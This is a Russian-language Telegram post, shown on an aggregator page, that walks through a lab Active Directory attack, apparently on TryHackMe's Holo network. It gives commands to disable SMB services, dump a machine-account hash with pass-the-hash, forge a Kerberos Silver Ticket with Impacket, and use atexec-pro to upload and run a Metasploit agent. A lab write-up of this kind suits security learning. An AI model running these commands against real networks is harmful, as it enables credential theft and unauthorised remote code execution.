P
Purple Chronicles
@CherepawwkaChannel1.7K подп.
10.7Kпросмотров
10 марта 2025 г.
📷 ФотоScore: 11.8K
💻Remote NTLM Relay preparation: Lateral Movement without NTLM and 445/TCP💻 В ходе решения одной из сетей на известной платформе может сложиться ситуация, с которой столкнулся я. Имея привилегированный доступ к серверу, который впоследствии будет использоваться для Remote NTLM Relay, я без задней мысли отключил службы NetLogon, LanManServer и LanManWorkstation и перезагрузил машину, забыв закрепиться на ней встроенными средствами фрэймворка постэксплуатации. Сделал я это следующим образом: sc stop netlogon sc stop lanmanserver sc config lanmanserver start= disabled sc stop lanmanworkstation sc config lanmanworkstation start= disabled После перезагрузки хоста я удостоверился, что порт 445 не прослушивается сервером (nmap -p 445 -sT -Pn <serverIP>), после чего решил продолжить атаку, но столкнулся с очевидной проблемой: я не могу пройти аутентификацию на сервере и, следовательно, запустить бинарный файл, необходимый для организации портфорвардинга. Имеем 2 проблемы: 1) Не работают службы NetLogon, LanManServer и LanManWorkstation, из-за чего не получится пройти аутентификацию на целевом сервере при помощи NTLM; 2) Не работает SMB-порт, необходимый для работы большинства утилит из набора Impacket. Что же делать? Решение довольно очевидное. Вместо NTLM можно использовать Kerberos, так как мы находимся в доменной инфраструктуре. Не зря же после получения системного доступа к атакуемому серверу мы дампили его LSA-секреты? А вместо стандартных скриптов из набора Impacket можно использовать их "pro вариации", которые не требуют доступа к 445 порту целевого сервера. Начнем атаку! Шаг 1. Silver Ticket🎫 Первый шаг показан в демонстративных целях, чтобы видеть хэш пароля учетной записи атакуемого сервера. Напомню, что его мы получили ранее путем дампа LSA-секретов на самом сервере. proxychains impacket-secretsdump holo.live/Administrator@10.201.126.30 -hashes :<redacted> -just-dc-user 'PC-FILESRV01&#036;' ... PC-FILESRV01&#036;:1120:aad3b435b51404eeaad3b435b51404ee:e66f5cf1a026516d1d2220130d8d13c4 Для осуществления атаки нам необходим SID домена, который мы получим с использованием скрипта impacket-lookupsid из набора Impacket (в данном случае используем технику Pass-the-Hash в отношении контроллера домена): proxychains impacket-lookupsid HOLO.LIVE/'PC-FILESRV01&#036;'@10.201.126.30 -hashes :e66f5cf1a026516d1d2220130d8d13c4 Получаем SID домена: S-1-5-21-471847105-3603022926-1728018720 После получения SID начинаем крафтить Silver Ticket, чтобы получить привилегированный доступ к целевому серверу. Путь до полученного тикета записываем в переменную окружения KRB5CCNAME: proxychains impacket-ticketer -nthash e66f5cf1a026516d1d2220130d8d13c4 -domain-sid S-1-5-21-471847105-3603022926-1728018720 -dc-ip 10.201.126.30 -domain holo.live -spn HOST/PC-FILESRV01.holo.live 'watamet' export KRB5CCNAME=watamet.ccache Шаг 2. ATExec Pro🤩 После этого уже при помощи известного нам atexec-pro.py и полученного билета получаем доступ к целевому серверу и запускаем наш C2-агент (для примера здесь используется MSF): proxychains python3 atexec-pro.py PC-FILESRV01.holo.live -k -no-pass -dc-ip 10.201.126.30 Внутри шелла: ATShell (@PC-FILESRV01.holo.live)> upload /root/THM/Holo/binaries/msf_win_x64.exe C:&#092;Windows&#092;Tasks&#092;msf.exe ATShell (@PC-FILESRV01.holo.live)> C:&#092;Windows&#092;Tasks&#092;msf.exe Поэтапно те же действия можно видеть на приложенных скриншотах. 1) Получение SID домена при помощи impacket-lookupsid; 2) Создание Silvet Ticket при помощи impacket-ticketer для привилегированного доступа к целевому хосту; 3) Получение доступа к целевому хосту при помощи atexec-pro.py с использованием ранее полученного билета (обращаю внимание на лог ProxyChains, где отсутствует коннект до 445 порта).
10.7K
просмотров
3776
символов
Да
эмодзи
Да
медиа

Другие посты @CherepawwkaChannel

Все посты канала →
💻Remote NTLM Relay preparation: Lateral Movement without NT — @CherepawwkaChannel | PostSniper